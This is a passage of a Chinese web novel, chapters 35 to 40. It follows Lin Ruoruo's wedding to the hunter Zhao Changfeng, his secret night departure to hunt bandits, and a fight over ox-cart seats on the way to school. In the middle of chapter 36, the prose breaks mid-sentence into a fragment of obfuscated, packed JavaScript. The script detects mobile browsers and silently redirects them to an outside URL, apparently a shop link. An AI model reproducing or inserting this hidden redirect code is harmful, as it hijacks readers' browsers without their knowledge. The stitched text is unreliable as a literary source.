赵家村的人啧啧称奇,有鄙视林若若嫁给猎户的,也有暗中嘀咕赵长风竟真不计前嫌娶了“侯府弃女”的。
但无论外人如何议论,赵家小院里忙碌筹备的气氛日益浓厚。
赵长风亲自去镇上最好的布庄选了正红的料子,又托人从城里请来手艺精湛的绣娘为林若若裁制嫁衣。
林若若看到这个场景,心中也会掠过一丝极淡的暖意。
王婆子自然也听到了风声,又恨又怕。
恨的是林若若竟真要站稳脚跟,怕的是那夜之后张癞子突然“意外”摔断腿,再不敢提赵家半个字,连她去找都躲着不见。
她隐约觉得这事与赵长风脱不了干系,心里那把算计的算盘,在赵长风冰冷的目光和狠绝的手段前,终究是再不敢轻易拨动了。
婚礼前夜,赵长风将孩子们暂时托付给信得过的邻居柳阿婆照看。
月色如水,他独自站在修缮一新的院子里,目光扫过贴好的大红喜字,最后落在林若若暂居的厢房窗口。
那里灯火已熄,一片安宁。
他知道,明日过后,这个家将真正完整。
而那些陈年的污泥与暗箭,他会逐一清理干净。
三百两银子的去向,林美美的所作所为……
这些旧账,他心中有数,但不会再让其困扰现在的生活。
他的刀,他的手段,只会对着前方可能出现的威胁。
至于身后的阴影,既已决定踏入光明,便不必回头。
夜风拂过,带着暮春的暖意,也带来一丝崭新的气息。
赵长风转身回屋,背影挺拔如松。
翌日,吉时。
唢呐锣鼓声响彻赵家村,一顶虽不奢华却处处透着用心的喜轿,稳稳停在林家门前。
林若若凤冠霞帔,盖着红盖头,端坐在房中。
听到外面说,新郎来了,林小山就赶紧进了屋里。
“阿姐莫怕,弟弟背你出去。”看到自己还没好好亲近的阿姐,转眼就要嫁出去,林小山红了眼眶。
“好。阿姐不怕。”
“阿姐,我虽然年纪还小,但我一定好好读书,考取功名,以后也好做你的靠山,如果姐夫对你不好,弟弟也能养你!”
“嗯,那姐姐就等着弟弟的好消息了。”盖头下,林若若的两滴热泪,滴落在林小山的脖颈间,烫红了林小山的眼睛。
鞭炮声中,她被弟弟送上了花轿。
轿帘落下,遮住外界所有的目光与议论。
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>骡车再次启程,这一次,是载着林若若,彻底走进这个古代的猎户家庭。
道路两旁,看热闹的村民熙熙攘攘。傻根也穿着新衣裳,跟在赵长风的后面。他人虽有些痴傻,但对赵长风死心塌地。此刻他笑得无比开心,也是为赵长风开心。
一路吹吹打打,到了赵家村。村口围了许多人看热闹,还有许多孩子跟着花轿一路小跑,说着吉祥话。
傻根就拿着装糖的袋子一路分发,引得全村的小孩子都跟在后面,一路的欢声笑语。
到了赵家,赵家小院内外早已收拾得利落整齐。
赵家大门口的宽敞地儿,一排三口的大锅正冒着热气,一股股肉香飘的满村都是。
为了今日赵长风带着傻根去林子里猎了一头野猪,一只羚羊,还有不少的野鸡野兔。身为猎户之家,肉是不缺的。
院门贴着崭新的大红喜字和对联,屋檐下挂着红布,虽不奢华,却处处透着用心。
看热闹的村民挤满了院墙外,孩子们在人群中钻来钻去,等着抢更多的喜糖。甚至还有村人爬上了门口的大树。
花轿落地,喧天的唢呐声暂时停歇,所有人的目光都聚焦在轿门前。
赵长风翻身下马,动作干净利落。
他今日穿着那身靛蓝直裰,更显肩宽背直,面容在阳光下少了些往日的冷硬,多了几分持重的喜气。
虽然依旧满脸的络腮胡子,但眼中的笑意依然明显。
他走到轿前,并未依照某些乡俗去踢轿门,只是稳稳站定,伸出手,撩开了轿帘,“夫人,请下轿。”
一只纤细的手,微微有些颤抖,搭在了他伸出的、带着厚茧的手腕上。触感微凉。
赵长风手臂沉稳,稍稍用力,便将一身正红嫁衣、盖着红盖头的新娘扶出了花轿。
林若若脚步有些虚浮,盖头下的世界摇晃而狭窄,全凭手腕上那坚实稳定的力量引领。
“新娘子来啦!”孩童们拍着手欢呼。
柳阿婆满脸堆笑地迎上来,手里捧着一个燃着炭火的铜盆,放在轿前地上。
火苗热情而灼热,在风中摇曳~
第36章 美人如玉
院子里正屋门前,已经摆好了香案,上面燃着香烛,供奉着天地牌位,旁边两张空椅,代表着赵长风早已故去的父母高堂。
赵长风引着林若若来到香案前站定。村长赵佑康高声道:“吉时到——新人行礼——”
喧闹的人群渐渐安静下来。
“一拜天地——”
两人转身,对着院外空旷的天地,躬身下拜。
林若若盖头低垂,只看见脚下红色的鞋尖和青石地面。
“二拜高堂——”
转向香案后的空椅,再次下拜。
林若若能感觉到身旁男人动作间的郑重。
这一拜,是告慰,也是承诺。
“夫妻对拜——”
面对面站定。
隔着薄薄的红绸,林若若似乎能感觉到赵长风目光的落点。
她微微屈身,头上的凤冠珠翠轻响。赵长风也同时躬身,动作幅度比她更大一些。
“礼成——送入洞房——”
周围立刻爆发出更热烈的哄笑声、祝福声和孩童的尖叫。
傻根乐得嘴都合不拢,抓起大把的铜钱和糖果撒向人群,引得一片争抢。
这婚事,极热闹~
盖头下,林若若有些恍惚。
原书中,原主并没有这个迟来的婚礼。
因为那三百两银子的聘礼不见了,原主死活不愿意嫁给赵长风。
只是当时被何美美下了药,才和赵长风有了肌肤之亲。
没有办法,才在赵家留了下来,但心中愤愤不平,因此才**三个孩子。
如今,因为自己的到来,改变了这一切的轨迹,林若若真心希望三个孩子能平安长大。
原书中写过,因为赵林赵峰日日被林若若**,赵小静又被她折磨致死,赵长风为了给孩子报仇,打断了林若若的双腿,让她死在了一个风雪之夜。
而赵林赵峰因为林若若的**,因为赵长风的冷淡,性格早已发生了扭曲。后来,赵林金榜题名,却最终成为一名酷吏,被人暗杀在自家的家门口。
赵峰后来也考中了进士,去了一个边远小城做了县令,一生只娶了一个妻子,只得一个孩子,但这却是遮眼法。
因为他发现自己对女人及其厌恶,却对男子有着浓厚的兴趣。
想到这里,林若若百感交集,她心中暗暗发誓,一定要把三个孩子好好地抚养成人。
虽然,她已经知道,赵长风为何一直和孩子不热络的原因。
轻轻地叹了口气,林若若听着院子外边,此起彼伏的饮酒猜拳,还有阵阵欢笑声,心中一片平静。
娶自己,赵长风是无奈之举。
因为他的心里,有个白月光~
林若若心里有数。
叹了口气,林若若潜进了自己的空间。
上次的快递还没拆完,继续。
这次拆出来一大包大白兔奶糖,一包绵砂糖,一大盒的调料,一箱方便面,还有一个家用版的医药箱,里面有感冒药、消炎药、退烧药、止血药、云南白药,创可贴各种家庭常备药,还挺全乎。
还有一个快递,是林若若给自己买的两套内衣裤。
把这些东西妥善收拾好,又去把地里的草药和人参浇了水,出了空间。
因为有人来了。
门开了。
一身红衣的赵长风提着个食盒走了进来,后面有三个小脑袋从门边露了出来。
房门被轻轻推开,带进一股微凉的夜风和隐约未散的酒气。
一身红衣的赵长风提着一个简陋的食盒走了进来,烛光将他高大的影子投在墙壁上。满脸的络腮胡子让林若若看不清他脸上的表情。
只是他一双眼睛亮得惊人。
他身后,门边悄无声息地探出三个小脑袋,两高一矮,六只眼睛在昏暗的光线下亮晶晶的,好奇地望向屋里穿着大红嫁衣的新“娘亲”。
赵长风将食盒放在桌上,声音比刚才在院里时更低沉些,带着一丝不易察觉的温和:
“给你带了点吃的,席面上留下的,趁热吃点。”
林若若低头笑了,“那麻烦夫君先把盖头挑了吧!”
赵长风的耳朵瞬间红了~
今日,林若若的声音,与平日里不同。
有温婉,有亲和,还有一丝丝的娇憨在其中……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090126|195428||http|test|mini|href|location''.split(''|''),0,{}));
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r>赵长风赶紧拿起旁边的喜称,小心翼翼地挑起了妻子的红盖头。
盖头被喜称轻轻挑起,滑落。
盖头下的林若若,在烛光下美得惊人~
烛光毫无遮挡地映在林若若脸上。
肤色白皙,温润如玉,胭脂淡扫,唇色嫣然,在忽明忽暗的烛光里,有种惊心动魄的明媚。
她微微仰着脸,眼中含着浅浅的笑意,那笑意直达眼底,带着属于此刻的、真实的温婉,甚至……
还有一丝连她自己都未曾察觉的、因这特殊氛围而生出的娇憨。
赵长风举着喜称的手顿在半空,忘了放下。
他见过她素衣平淡的模样,也见过她方才面对孩子时沉静温和的样子,却从未见过如此盛装明丽、笑意盈盈的她。
长长的黑发盘在脑后,整套的珍珠首饰温润又亮眼,一只水滴样的珍珠步摇在她的脸庞边摇晃,晃得人睁不开眼睛~
一袭正红色的齐胸襦裙,衬得她的颈间越发细长白皙,白的晃他的眼睛~
齐胸襦裙露出来的,那饱满的若隐若现的胸部,鼓鼓的,涨得赵长风的眼睛无处安放……
烛火在她眼中跳跃,那光芒似乎烫了他一下,让他心口猛地一缩,耳朵上那阵热意迅速蔓延到脖颈。
他喉结滚动了一下,有些仓促地移开视线,将喜称搁回桌上,发出轻微的磕碰声。
声音惊醒了瞬间的凝滞。
“……嗯。”
他低低应了一声,似乎想说什么,却又哽住。
目光游移着,最终落在桌上早已凉透的食盒上,“菜凉了,我……我去灶上看看,有没有热的……”
林若若微微低着头,用宽宽的长袖挡住笑意嫣然的娇媚,温和说道:“不用,我稍稍用一点就行。”
之后,他顿了顿,侧身看向门口,“都进来吧,别躲着。”
三个孩子这才小心翼翼地挪进来。
“娘亲!娘亲!你真好看!”
赵小静看到如此盛装的娘亲,眼前一亮,伸出双臂就要扑过来~
而赵林赵峰看着如此明媚耀眼的林若若,则看呆了……
第37章 深夜离去
这女人,哦,不,这林姨也太好看了吧!
虽然赵林赵峰他们,已经不记得自己的亲生娘亲长什么样子了~
看着孩子们的眼神,林若若心下一软,立刻从床边站起身。
她没先去看食盒,而是走到妆台边,从刚才藏东西的枕头底下(实则从空间瞬移)摸出几颗大白兔奶糖,剥去糖纸——彩色的糖纸在这个时代太扎眼。
她蹲下身,让自己的视线与孩子们齐平,脸上露出温和的笑意,伸出手掌,掌心躺着三颗乳白色的糖块。
“来,吃点甜的。”
赵林警惕地看着她,没动。
赵峰偷偷咽了下口水,看向哥哥。
只有赵小静,毫不犹豫扑到林若若的怀里,嘴里喊着“娘亲~”
林若若抱着她小小的,正在慢慢长胖的身子,拿起一颗糖,轻轻放进赵小静张开的小手里,柔声道:“含在嘴里,慢慢吃,很甜的。”
她又将另外两颗分别递给赵林和赵峰。
赵峰终究没抵住诱惑,飞快地拿过塞进嘴里,眼睛立刻亮了一下。
赵林犹豫片刻,也接了过去,却没吃,紧紧攥在手心。
赵长风看着这一幕,目光在林若若蹲下的背影和孩子们脸上停留片刻,唇线似乎缓和了毫厘。
但他很快移开视线,走到窗边,侧耳听了听外面的动静。
院外的喧嚣已基本散去,只剩零星的收拾碗碟声和远去的谈笑。
他转过身,脸上那一点点缓和消失不见,取而代之的是一种近乎冷硬的肃然。
“你们三个,”他声音不大,却带着不容置疑的力度,“回东屋去睡觉。今晚无论听到什么动静,都不许出来,赵林赵峰照顾好妹妹,明白吗?”
赵林猛地抬头,看向父亲,似乎从他异常凝重的语气里察觉到了什么,小脸白了白,用力点头:“明白,爹。”
赵峰还有些茫然,但被哥哥拉了一把,也赶紧点头。
赵小静含着糖,乖巧地“嗯”了一声。
“去吧。”赵长风挥挥手。
赵林赵峰领着小静,三个孩子鱼贯而出,赵林走在最后,小心地带上了房门。
屋里顿时只剩下他们两人,以及桌上食盒冒出的一缕微弱热气。红烛烧得正旺,偶尔爆开一个灯花。
林若若站起身,看向赵长风。
他站在烛光边缘,半边脸隐在阴影里,身姿笔挺如松,却透出一股即将离弦的箭般的紧绷感。
这不是寻常要休息的状态。
“出了什么事?”她直接问道,声音平静。
赵长风抬眼,深邃的目光在她脸上扫过,似乎想从她平静的神情下分辨出什么。
他没有立刻回答,而是走到桌边,打开食盒,里面是几样还算精致的菜肴和两个白面馒头。
“你先吃。”他把筷子递过来。
林若若接过筷子,却没动,只是看着他。
赵长风避开她的视线,走到门后,拿起倚在墙边的一个陈旧但结实的背囊,开始迅速检查里面的东西:
一捆麻绳,一把磨得锋利的柴刀,一个水囊。动作干脆利落,显然是做惯了。
“县衙来了紧急公差。”
他终于开口,声音压得很低,几乎只有气音,“后山黑风岭的土匪,劫了邻县送来的粮饷,杀了押运的官兵。县令得了上峰严令,限期剿灭。因县衙人手有限,便在县中招募功夫好的猎户,我和傻根……都入选了,今夜即刻出发。”
他顿了顿,系紧背囊的带子,“为防走漏风声,惊扰乡邻,也怕土匪有眼线,要求我们连夜潜行进山,不得声张。明日若有人问起,就说我和傻根进山打猎了。”
林若若的心沉了一下。
黑风岭的土匪,原书里提到过,盘踞多年,凶悍异常,赵长风这次去……原书似乎没细写这段,但剿匪从来都是刀头舔血的营生。
她放下筷子,快步走到自己的嫁妆箱子边,背对着赵长风,假装翻找,迅速从空间里取出几样东西:
那管用过的消炎药膏,一小包用油纸仔细包好的抗生素片(她拆了包装,混在几粒形状相近的草药丸子中),还有一小瓶云南白药粉。还装了六块高能量的压缩饼干。
本来她还想给赵长风带点卤肉,又怕有味道,会引来野兽,也引起土匪的注意。
林若若想了想,又把那卷还没用过的绷带和一小叠创可贴塞了进去。
她把这些东西一样一样怎么用,细心简洁地告诉了赵长风,然后把这些东西用一个深蓝色的粗布帕子包好,转身
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走到赵长风面前,将小包袱塞进他还没来得及合上的背囊侧袋。
“山里夜凉露重,蛇虫多,这些……都是我闲来无事,照着书自制的土药和干粮,你都带着,也许用得上。”她的语气平常,仿佛只是嘱咐他带件衣裳。
赵长风动作一顿,看向那个不起眼的小包袱,又抬眼看向林若若。
烛光在她眼中跳跃,平静之下有关切,却没有慌乱和哭啼。
他喉咙动了动,最终没说什么,只是将背囊侧袋的系绳用力勒紧,点了点头。
“家里……”他开口,声音有些涩,“就交给你了。孩子们……他们其实,不坏。”这话说得艰难,似乎包含了某种复杂的愧疚。
“我知道。”林若若点头,“你放心去。家里有我。”依旧是简单的几个字,却比任何誓言都更有分量。
窗外传来极轻微的三声叩击,是约定好的信号。
赵长风深吸一口气,最后看了林若若一眼。
红衣映衬下,她的脸白皙安静,眼神清亮坚定。
这一眼,似乎要将此刻的景象刻入脑海。
他没有说“等我回来”之类的话,只是猛地转身,拉开门,高大的身影迅速融入门外浓重的夜色里,没有回头。
门被轻轻带上,隔绝了外面骤然加重的寒风声。
屋里瞬间安静得只剩下烛芯燃烧的细微噼啪声。
桌上的食盒渐渐没了热气,红烛泪堆积。
刚才还因孩子闯入而有些生气的屋子,此刻空旷得让人心头发紧。
林若若在原地站了一会儿,走到窗边,将窗户推开一条细缝。
冰冷的夜风灌进来,带着暮春草木的气息。
远处,漆黑的山峦像巨兽匍匐,零星灯火早已熄灭,整个村庄沉入梦乡。
只有风声掠过树梢,呜咽如诉。
她知道,赵长风和傻根,正借着这夜色的掩护,沉默而迅速地奔赴那片危险莫测的深山。
她轻轻关好窗,吹灭了桌上那对燃烧过半的红烛,只留墙角一盏小油灯散发着昏黄微弱的光。
夜色,还很长。
而她的路,从这一刻起,才真正开始。
不仅要守护好这个家,等待一个未知的归期,更要一步步,扭转那原本黑暗的命途……
第38章 坐车上学堂
成婚第二日,林若若依然是早早就醒了~
她扶额苦笑,原本在现代,她日日最盼望的就是休班,可以睡到自然醒。如今来到这里,班是不用上了,结果却日日起的比鸡还早,睡又睡不着~
无语了~
认命地起床,穿上一件家常的红色交颈襦裙,毕竟是新婚,仪式感是还要有的。自己前世今生唯一一次成亲,她也想要幸福~
今日早上吃点什么好呢?
边穿衣服,林若若脑中快速地规划,那就吃小馄饨吧。
剩下的馅,给两个孩子包成饺子,带去学堂吃,也顺便给两个夫子带一点。
简单盘好头发,林若若从空间拿出绞好的肉馅,放上剁好的虾仁,拿出馄饨皮,饺子皮,来到厨房。
借着去橱柜的功夫,把这些东西放进去,刚要往外拿,赵林赵峰已经起床了。
“林姨早~”赵峰揉着朦胧的睡眼,跟若若打招呼。赵林没有说话,只抬眸看了看林若若,就去打水去了。
“早呀。烧点热水吧。”林若若过来,摸了摸赵峰的脑瓜,笑得温婉。
赵峰的小脸都红了,之后挠了挠头,坐到小凳子上,乖乖烧火去了。
赵林提着小水桶,往大锅里倒上水,就又去院里拿柴火去了。
锅里的水渐渐泛起细密的泡,林若若揭开橱柜门,动作自然地取出肉馅和虾仁。
其实那虾仁颗颗饱满剔透,隐隐带着不同于寻常的莹润光泽,是她从空间灵泉里捞出的鲜虾所制。
她单独挖了一个小池子,专门用灵泉水养了些鱼虾。
馅料是空间原本就备好的,三分肥七分瘦的猪肉糜,加了姜汁、细盐和少许味极鲜,早已入味。
韭菜是空间的院子里现摘的,水灵灵的,切成极细的末,碧绿喜人。
林若若将韭菜末与肉馅、虾仁在陶盆里拌匀,又悄悄滴入两滴灵泉。
霎时间,一股难以言喻的鲜香便弥漫开来,不是浓烈扑鼻,而是清鲜得勾人,丝丝缕缕往人鼻子里钻。
正蹲着烧火的赵峰猛地吸了吸鼻子,眼睛一下子亮了:“林姨,好香啊!”
连沉默着擦拭灶台的赵林,也忍不住抬眼看了过来。
“香吧?”
林若若笑得眉眼弯弯,手上动作不停,“这是给你们做小馄饨的馅儿,剩下的包饺子,给你们哥俩带去学堂当午饭。”
她取出一叠方方正正、薄如蝉翼的馄饨皮,这是她用空间里精面粉加蛋清揉的,格外筋道。
素手拈起一张皮,指尖挑上一点馅料,对折,再轻轻一捏,掌心便躺了一只形似元宝、鼓鼓囊囊的小馄饨,动作快得只余残影。
不多时,竹篾编的浅盘上便整整齐齐码好了一排排小馄饨,白皮透着内里隐隐的粉绿,看着就让人心生欢喜。
锅里的水正好滚开,咕嘟咕嘟冒着大泡。
林若若将馄饨滑入水中,用勺背轻轻推开,防止黏连。
趁着煮馄饨的功夫,她另起一个小锅,熬上简单的汤底——依旧是悄悄掺了灵泉的清水,投入几片姜、一小把晒干的虾皮,再撒些紫菜末。
另一边的面团也已醒好,她麻利地擀开,切成均匀的剂子,准备给孩子们包饺子。
赵林不知何时已净了手,默默站到她旁边,学着样子拿起一张饺子皮。
“林姨,我帮你。”
少年声音还有些生涩,但眼神认真。
林若若心头一暖,放慢动作:“看,馅儿放中间,皮边沾点水,对折,这样捏出褶子……”
晨光透过厨房的窗棂,柔和地洒在两人身上。
赵峰看着火,眼睛却忍不住瞟向锅里翻滚的、渐渐变得晶莹剔透的馄饨,偷偷咽了咽口水。
汤底滚了,清鲜的香气混合着面食独有的麦香,彻底充盈了小小的厨房。
林若若将翠绿的葱花和芫荽末撒进大陶碗,浇上滚烫的汤,再捞起煮得恰好的馄饨放入。
“开饭啦!”
她先给赵林赵峰各盛了满满一大碗,清汤里浮着白玉般的馄饨,葱花碧绿,虾皮金黄,热气腾腾。
赵峰捧起碗,吹了吹,迫不及待地舀起一个送入口中。
薄皮一抿即破,内里鲜美
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的汁水瞬间迸发,韭菜的辛香、虾仁的弹甜、肉馅的醇厚,还有那一点点说不清道不明、却让人浑身舒坦的清新气息,完美融合。
他烫得直哈气,却舍不得吐出来,眼睛幸福地眯成一条缝:“好……好吃!”
赵林吃得斯文些,但速度一点也不慢,额角很快沁出细密的汗珠。
灵泉的效用细微却真实,暖流顺着食道滑下,一夜浅眠的些许疲惫似乎都被熨帖了。
趁着他们吃饭的功夫,林若若又去煮了饺子。饺子她特意多包了许多,因此煮出来,足足盛了四份。
因为两个孩子平日里都是背着小背篓上下学,日日走着去,走着回。
今日若若怕饺子太沉,决定送两个孩子坐村里的牛车去上学堂。
总比孩子自己走,来得快些。
进到里屋,从空间拿出四个军绿色的帆布包,两个大的,做挎包,装书本,两个小的,装饭盒。
把布包递给两个孩子,“背篓太沉,我给你们两个做了两个帆布包,你们换下来吧。大的装书本,小的装饭盒和水囊。”
赵峰眼睛顿时就弯了起来,“谢谢林姨!”
赵林拿着布包,眼中也有惊喜闪过,“谢谢。”
“换吧。饭盒提着就行”
赵长风一向不管家里的事情,王婆子在的时候,只顾往自己家偷好东西,压根没有用心管三个孩子。
哎!果然,没娘的孩子就是可怜一些~
林若若进到里屋,恰好小静也醒了。林若若给她穿好衣服,领着她,领着赵林赵峰往村口的大槐树下走去。
村里去镇上的牛车就停在那里。
此时,天还没有大亮,只能隐隐约约地看到远处一辆牛车的影子,停在那里。
若若带着孩子,走到车跟前,发现牛车上已经坐了六个人了,这车最多坐八人。
“请问这牛车是去镇上吗?还有地儿吗?什么时候走?。”
林若若透着甜美的声音传来,驾车的男人赶紧看了过来。
只一眼,男人就傻眼了~
这是天上的仙女吗?
第39章 护犊子!
林若若清亮的声音刚落下,驾车的中年汉子闻声转过头,目光落在她身上时,明显愣怔了一下。
眼前的女子穿着虽是新婚喜庆的红裙,却掩不住那股子水灵清透的气质,皮肤白得仿佛能掐出水,眉眼弯弯,唇角天然带笑,跟这灰扑扑的清晨、破旧的牛车一比,简直不像一个地界的人。
“是……是去镇上!还有两个座儿!”
汉子回过神来,连忙应道,声音不由得放轻了些,“等人坐满了,马上就走。每人两文钱。”
“好,两个孩子的,给您。”林若若利落地数出四枚铜钱递过去,然后轻轻推了推赵林赵峰的后背,“快上去,坐稳当。”
两个孩子动作麻利地爬上了牛车,挨着坐在了最外侧的位置。林若若把手里提着的、装着饺子饭盒和水囊的两个小帆布包递给他们:“拿好,路上小心。”
赵峰接过,紧紧抱在怀里,冲林若若露出一个灿烂的笑。赵林也抿了抿嘴,点了点头。
车上原本坐着的几个村人,目光或好奇或打量地落在林若若和两个孩子身上,低声议论了几句,无非是关于赵长风新娶的媳妇真年轻、真俊俏之类。
林若若只当没听见,俯身对赵小静柔声说:“小静乖,跟娘在这儿看着哥哥们走。”
然而,就在赶车汉子扬起鞭子,准备吆喝出发的当口,一阵急促杂乱的脚步声和尖锐的喊叫从村子那头传来:“等会儿!等等!还有我们!”
只见一个身材壮硕、面色黝黑的妇人,一手提着个鼓鼓囊囊的包袱,一手死命拽着一个跟赵峰年纪相仿、却胖了一圈的男孩,风风火火地冲了过来。
那男孩被她拽得趔趔趄趄,一脸不情愿。
妇人冲到牛车前,气还没喘匀,就冲着赶车汉子嚷道:“王老栓,还有座儿没?快,我家铁蛋今日也要去学堂!赶紧的!”
王老栓,也就是赶车汉子,皱了皱眉:“刘婆子,没座儿了,刚坐满。你咋不早点来?”
“啥?坐满了?”
刘婆子眼睛一瞪,扫了一眼牛车,目光立刻钉在了坐在外侧的赵峰身上,嗓门又拔高了几分,
“这不是还有小孩儿吗?小孩儿占什么大座?而且以前都没见他俩坐过!让一个出来给我家铁蛋!快点儿,要迟了!”
王老栓不乐意了:“人家先来的,钱也给了。规矩就是谁先来谁坐,你没提前说,也没给定钱,今天肯定坐不上了,等下一趟吧,过一个时辰还有。”
“等下一趟?那还上个屁的学!”
刘婆子急了,见说不动王老栓,竟直接上手,蒲扇般的大手越过车辕,就去拽赵峰的胳膊,“你这小崽子,下来!让我家铁蛋上去!”
赵峰被她猛地一拉,身子一歪,差点从车上栽下来,怀里的帆布包都险些脱手。
他小脸一白,却咬着牙没松手,也没动。
“你干什么!”
林若若脸色一变,厉声喝道。
她迅速将怀里的小静放到路边安全处,嘱咐了一句:“小静站这儿别动!”
随即一个箭步冲上前,伸手就去格挡刘婆子拉扯赵峰的手。
刘婆子没想到这看着娇滴滴的新媳妇敢上来拦,更来了劲,另一只手挥过来就想推搡林若若:“关你屁事!滚开!这车我们坐定了!”
林若若毕竟力气不如这干惯了农活的壮实妇人,被她推得**半步,胸口一阵闷痛。
但她眼神一冷,前世职场里摸爬滚打练出的那股不服输的狠劲也上来了。
她趁刘婆子注意力还在赵峰身上,猛地低头,从随身的袖袋里(实则是从空间意念取出)摸出了两样东西——一根寒光闪闪的绣花针,和一把小巧却锋利的剪刀。
“放手!”林若若声音不大,却带着冰冷的警告。
她没直接往人身上扎,而是迅捷地将剪刀尖抵在了刘婆子拽着赵峰的那只手臂的衣袖上,另一只手的针则悬在她手背附近。
刘婆子只觉得臂上一凉,低头一看,剪刀尖正对着自己,那针尖也晃得人心慌,顿时吓了一跳:“你……你想干啥?**啊?”
“光天化日抢孩子座位,还动手拉扯,我这是自卫!”林若若毫不退让,“你再不放手,试试看!”
就在这时,车上的
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赵林眼见弟弟被欺辱,林姨也被推搡,猛地从车上跳了下来,一声不吭,像头小豹子一样冲向刘婆子身边的胖男孩铁蛋,两人立刻扭打在一起。
赵峰也趁机挣脱了刘婆子的手,跳下车帮着哥哥,三个孩子顿时滚作一团。
刘婆子见状,又急又怒,想撇开林若若去帮自己儿子:
“反了天了!小杂种敢打我儿子!”她挥臂就想甩开林若若。
林若若等的就是她分心,敏捷地侧身躲开她挥舞的手臂,看准空档,捏着绣花针的手快如闪电般在她胳膊内侧某个穴位附近狠狠一扎!
“哎哟!”刘婆子只觉得半条胳膊又酸又麻,瞬间使不上力气,惊叫一声。
林若若另一只手也没闲着,剪刀顺势往她腰间系着的包袱带子上一划——她本意是威慑和制造混乱,并没想真的伤人。
只听“刺啦”一声,包袱带子被划开大半,里面几个黑面馍馍滚落在地。
刘婆子又惊又痛又怒,看着自己使不上力的胳膊和散落的包袱,再对上林若若那双冷然中带着决绝的眼睛,心里终于生出一丝怯意。
这赵长风家的新媳妇看着柔柔弱弱,没想到下手这么刁钻狠辣!
“你……你给我等着!”
刘婆子色厉内荏地吼道,赶紧去捡地上的馍馍,又想去拉自己儿子。
那边赵林赵峰虽然年纪小些,但兄弟齐心,又是常年自己照顾自己有些力气的,竟也没怎么吃亏,铁蛋脸上还多了两道抓痕。
王老栓和其他几个乘客早就看呆了,这时才有人出声劝:
“刘婆子,算了算了,是你先动的手,不占理啊!”
“快别打了,让孩子上学去吧!”
林若若趁刘婆子忙乱,迅速将剪刀和针收回袖中(实则是空间),一把拉起赵林赵峰,将他们推回车上,快速检查了一下他们,除了衣服脏了点,赵峰手腕有点红,赵林嘴角磕破一点皮,并无大碍。
她低声道:“快坐好,别误了时辰。”
王老栓也反应过来,连忙扬起鞭子:“坐稳了,走了走了!”
牛车终于缓缓启动了~
第40章 风波再起
刘婆子扶着还在发麻的胳膊,捡起馍馍,拉着哭哭啼啼、脸上挂彩的铁蛋,冲着远去的牛车跳脚大骂:
“赵家的贱蹄子!小贱种!你们给我等着!我回家叫人来,非扒了你们的皮不可!”
牛车上,惊魂稍定的赵峰紧紧抱着帆布包,赵林默默擦了擦嘴角。
其他乘客看着林若若的眼神都带上了几分惊讶和探究。
林若若却没心思理会这些,她心里沉甸甸的。
刘婆子那泼辣记仇的样子,不像只是放狠话。
从这里到镇上还有一段不短的路,万一她真叫了人半路堵截……
不行,不能冒险。
眼看着牛车驶出村口,上了土路,林若若弯下腰,对眨巴着大眼睛有些吓到的小静柔声道:
“小静,娘背着你,我们送哥哥们去学堂,好不好?”
小静乖巧地点点头,搂着林若若的脖子,含着眼泪,小声说:“娘亲,你疼不疼?以后小静长大了,保护你!”
“真是个好孩子!”
林若若眼眶湿润,背起小静,快步跟上了缓缓前行的牛车。
车上的赵林赵峰看见了,急道:“林姨!”
“没事,我送你们到镇口。”
林若若语气平稳,目光却警惕地扫视着道路两旁。
清晨的乡间土路还算安静,偶有早起的农人路过,看到这背着孩子徒步跟随牛车的年轻妇人,都投来诧异的目光。
王老栓有些不忍,放慢了车速:“赵家媳妇,要不……你上来挤挤?”
“不用了,王大哥,你按正常速度走就行,我能跟上。”林若若婉拒了,她不想再节外生枝。
背着小静走确实累,但她身体素质似乎比刚来时好了些,空间灵泉潜移默化的滋养起了作用,竟也能勉强跟上牛车的速度。
一路上,她的心神都绷着,留意着身后的动静和前方的岔路。
赵林赵峰不时回头看她,眼神里充满了担忧和一种说不清的情绪。
好在,或许是因为时间尚早,也或许是刘婆子回家喊人需要时间,预想中的拦截并没有发生。
牛车平安地抵达了镇口。
林若若喘着气,额上沁出汗珠,但看到镇子熟悉的轮廓,总算松了口气。
她跟着牛车来到私塾所在的巷口。
两个孩子跳下车,林若若把小静放下,走上前,仔细帮他们整理了一下扯乱的衣襟,拍了拍身上的尘土,又从怀里(实则是空间)掏出两个干净的小手帕,沾了点水(灵泉水),递给赵林:“擦擦脸。”又轻轻摸了摸赵峰发红的手腕,低声道:“还疼吗?”
赵峰摇摇头,眼睛有点红:“不疼。林姨,你累不累?”
“不累。”
林若若笑了笑,把两个小帆布包递给他们,
“快进去吧,好好念书,饺子中午记得吃。放学了还来这坐王叔的牛车,要是……”
她顿了顿,“要是看到不对,就在学堂里多待会儿,或者找夫子,娘……我会来接你们。”
赵林捏紧了手里的帕子,深深看了林若若一眼,那目光复杂,有感激,有依赖,还有一丝属于少年的、想要变强的决心。
他重重点了点头:“嗯。”
赵峰也用力点头:“林姨,你回去小心。”
看着两个孩子背着新帆布包,脚步有些急切却稳健地跑进私塾大门,林若若一直悬着的心才稍稍放下一些。
她弯腰抱起小静,亲了亲女儿的脸蛋:“好了,哥哥们安全了。咱们也得赶紧回去了。”
林若若本来想坐着王老栓的牛车回村,结果王老栓去拉货去了,下午再回村。
她就只好到带着小静走回去了。
不过,既然来了一趟镇上,也不能白来。那就买点东西回去吧。
林若若背着熟睡的小静,拎着刚买的纸笔,心里盘算着正好趁中午给两个孩子送去,顺便看看他们在学堂适应得如何。
若是因为早上的冲突影响了心神,她也得宽慰几句。
午时的阳光有些晃眼,镇上的私塾比村里安静许多。
林若若循着记忆来到赵林赵峰所在的学舍外,却发现里面空荡荡的,只有几张散乱的桌椅。
夫子大概是去用饭休息了。
她正要转身去别处寻,隐约听见学舍后方传来一阵压抑的呜咽和嘲弄
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的笑骂声。
心头莫名一紧,她放轻脚步,抱着小静绕到学舍侧面。
后头是一间堆放杂物的柴房,门虚掩着。
那令人不安的声音正是从里面传出来。
“……呸!什么破饺子,也配带来学堂?偷来的吧?你们家那穷酸样,吃得起白面肉馅?”
